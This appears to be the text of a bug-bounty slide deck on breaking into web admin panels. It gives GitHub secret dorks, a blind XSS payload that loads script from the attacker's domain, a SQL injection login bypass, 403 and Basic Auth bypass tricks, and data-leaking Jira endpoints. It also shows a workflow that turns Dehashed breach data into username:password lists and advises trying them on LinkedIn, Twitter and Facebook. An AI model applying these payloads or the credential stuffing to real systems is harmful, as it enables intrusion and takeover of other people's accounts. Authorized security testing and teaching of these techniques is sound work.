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Accessing Admin Panels



Pwner

Who am i

Just a simple guy like you



GitHub
Blind XSS (User-Agent)
Open Ports
Forced Browsing (Tampering)
Reading Source (JS)
Response Manipulation
HTTP Basic Authentication
Misconfigured Jira
Dehashed

Accessing Admin Panels

Methods



Accessing Admin Panels Using 
Github



api, token, firebase, username, password, secret, dev, prod, jenkins, config, ssh,
ftp, MYSQL_PASSWORD, admin, AWS, bucket, GITHUB_TOKEN, CSRF, session,
sql, database, api_key, smtp, secret_key, auth, login, access_token, oauth_token

Dorks

Github

"site.com" API_key
"site.com" secret_key
"site.com" email
"site.com" password
"site.com" login
"site.com" admin

org:org_name "password"
org:org_name "secret"

user:username "password"
user:username "secret"

Usage



Leaked Credentials



Admin Panels Accessed 



Recommended Tool

Gitrob & Keyhacks

You can use keyhacks for leaked tokens (API keys etc) to confirm that your token is valid or not
https://github.com/streaak/keyhacks



Accessing Admin Panels Using 
Blind XSS



Contact / Feedback pages
Surveys
Your Password As Blind XSS Payload
Chat applications / Forums
Customer ticket applications
Always use your name or description  as Blind XSS Payload
In the logs 
Add Blind XSS payload in the name field and reset your password
Add Blind XSS payload while completing demos 
Add Blind XSS payload in the `Need Expert` feature
Add Blind XSS payload while upgrading your account
Blind XSS Payload in User-Agent header                                                                      
 For Automation:                                                                                                                  
 Inside Burp Suite's match & replace function,in the match section put your
User-Agent's value and ""><script src=yourdomain></script> in the replace
section

     Use xsshunter (https://xsshunter.com/) for blind xss

Where to find Blind XSS

Blind XSS



Accessing Admin Panels Using 
Open Ports



Use multiple tools (+ methods) to find subdomains 
When your recon is complete on subdomain enumeration (Live sub-domains list)
Scan your list for open ports 
If your list is good enough, You will start finding internal portals on open ports
You can access those admin portals using multiple methods 
Try the default wordlist on those internal admin portals (Sometimes they could be accessed
even with test/test credentials)
Try SQLi for auth bypass, example `' or '1'='1`
You can read JS files to disclose credentials or internal endpoints to escalate further
Those old internal portals are really vulnerable you just need some strong recon to get
there

Your recon should be really strong to find some deep old subdomains with open ports 

Lets check an example of accessing these portals

Accessing Admin Panels Using Open Ports

Open Ports



How I accessed the internal panel from empty panel

After all the recon I found an admin portal on an open port

Accessed it using   ' or ' 1=1
But the portal was empty because it was old and there was nothing there 
But in the footer, I see an option for feedback for our service
I filled that form with my blind XSS payload and the next day I got an email of xsshunter

Admin Portal Accessed



Accessed admin panels using open ports



Accessing Admin Panels Using 
Forced Browsing + Tampering



To access admin portals using forced browsing you need to enumerate the web directories,
Collect all the endpoints and try to access or run them without authentication

Example: found site.com/admin/
Enumerate /admin/
Try to access the pages directly without any authentication
site.com/admin/templates.aspx = Checkout the picture ==>

Accessing Admin Panels Using Forced Browsing

Forced Browsing

Checkout the portal page accessed directly

Use some good wordlists to enumerate the admin portals,
Try to look for JS files because they are full of hidden endpoints.
 



We can access admin portals using the Tampering method. Enumerate the admin portal and
collect all the 302 endpoints and check the response in the burpsuite.
Example: 

Accessing Admin Panels Using Tampering

Tampering



Accessing Admin Panels By 
Reading Source (JS)



There is a lot in js files, By reading js files of admin panels, You will find sensitive information like credentials, API
tokens, secrets, internal endpoints, etc. By exploiting those, you can access admin portals.

Example

Accessing Admin Panel By Reading Source (JS)

Reading Source (JS)



Accessing Admin Panel By Reading Source (JS)

Example



Accessing Admin Panel By Reading Source (JS)

Example



Accessing Admin Panel By Reading Source (JS)

Example 2

While enumeration disclosed the admin panel credentials in the js file 

So after using the disclosed credentials, Generated an admin panel internal token, Using that token we can perform
actions on the internal admin panel.

Check out the screenshot on the next page



Accessing Admin Panel By Reading Source (JS)

Example 2

Tip: 

Check out all the js files manually, Don't just depend on the tools or extensions (JS Miner)



Accessing Admin Panels Using 
Response Manipulation



You can access the admin panel using the response manipulation method, Change the HTTP status from 403 to 200 or manipulate
the response body to access the admin panel 

Accessing Admin Panels Using Response Manipulation

Response Manipulation

Example 



You can bypass the 403 restrictions by adding the X-Forwarded-For header in the request, You can add 127.0.0.1 or enumerate the 
header 192.168.0.0 - 192.168.255.255

Bypassing 403 To Access Admin Panels

Response Manipulation

Example 2 



Accessing Admin Panels Using 
HTTP Basic Authentication



We can bypass the HTTP Basic Authentication by changing HTTP method 

Bypassing HTTP Basic Authentication

HTTP Basic Authentication

Example 

We can bypass the Basic Auth by changing the http method, Like change the method from GET to POST, HEAD, DELETE, Test

Tip

Try to enumerate HTTP Basic Auth web and access the .htpasswd file if it's publically accessible. You will get passwords in it for the
HTTP Basic Auth. 



Accessing Admin Panels Using 
Misconfigured Jira



The method is simple you just need to find the Jira instance of your target first if its configured

You can look for the following
jira.site.com
site.atlassian.net

Endpoints to check for

org-name.atlassian.net/secure/Dashboard.jspa
org-name.atlassian.net/secure/ConfigurePortalPages!default.jspa?view=popular
org-name.atlassian.net/secure/Signup!default.jspa
org-name.atlassian.net/secure/BrowseProjects.jspa
org-name.atlassian.net/secure/QueryComponent!Default.jspa
org-name.atlassian.net/secure/attachment/[id]/
org-name.atlassian.net/secure/ManageFilters.jspa?filterView=popular
org-name.atlassian.net/secure/ManageFilters.jspa
org-name.atlassian.net/plugins/servlet/oauth/users/icon-uri?consumerUri=http://google.com

Accessing Admin Panels Using Misconfigured Jira

Misconfigured Jira



Example: Misconfigured Jira Disclosing Sensitive Information To Access Multiple Admin Panels

Accessing Admin Panels Using Misconfigured Jira

Misconfigured Jira



By exploiting the credentials disclosed in the misconfigured Jira, I got access into all of their admin panels

Accessing Admin Panels Using Misconfigured Jira

Misconfigured Jira



Accessing Admin Panels Using 
Dehashed



Accessing Admin Panels Using Dehashed

Dehashed

It will take a lot of time to copy and paste credentials one by one from the dehashed to fix this problem, You can use their API
Usage:  curl 'https://api.dehashed.com/search?query=domain:test.com'
Results: (Your bash should be strong to sort out your data)

Dehashed provides free deep-web scans and protection against credential leaks. A modern personal asset search engine created for
security analysts. We can use the leaked credentials to access admin portals.

My approach to use Dehashed to access admin portals in mass. 



Extract only emails (usernames) and passwords for the result and create a wordlist 

Example

Accessing Admin Panels Using Dehashed

Dehashed



Extract only emails (usernames) and passwords for the result and create a wordlist 

cat test | tr "," '\n' | grep -v hashed | grep -E 'username|password' | tr "\n" '"\n' | sed 's/username//g;s/password//g;s/"//g' | cut -c 2-

Accessing Admin Panels Using Dehashed

Dehashed

Results:
username:password

Now apply your credentials wordlist on all the admin panels you found in your subdomain enumeration list

Tip:

Apply these credentials on all the Main domains, Subdomains, Their third-party admin panels, and on sites like LinkedIn, Twitter, FB, etc



Example 1

Accessing Admin Panels Using Dehashed

Dehashed



Example 1

Accessing Admin Panels Using Dehashed

Dehashed
Example 2



Motivation

Tips

No one is born with special powers 
Every legend was once a beginner

The answer to all of your questions and excuses is to believe in yourself and progress
Love what you are doing
Don't give up

If you are stuck, then work hard on your skills until you find the gems

Life is tough sometimes, Ups and downs are part, Convert this pain into your work and change your life as I did

Love your family and friends, They deserve this love


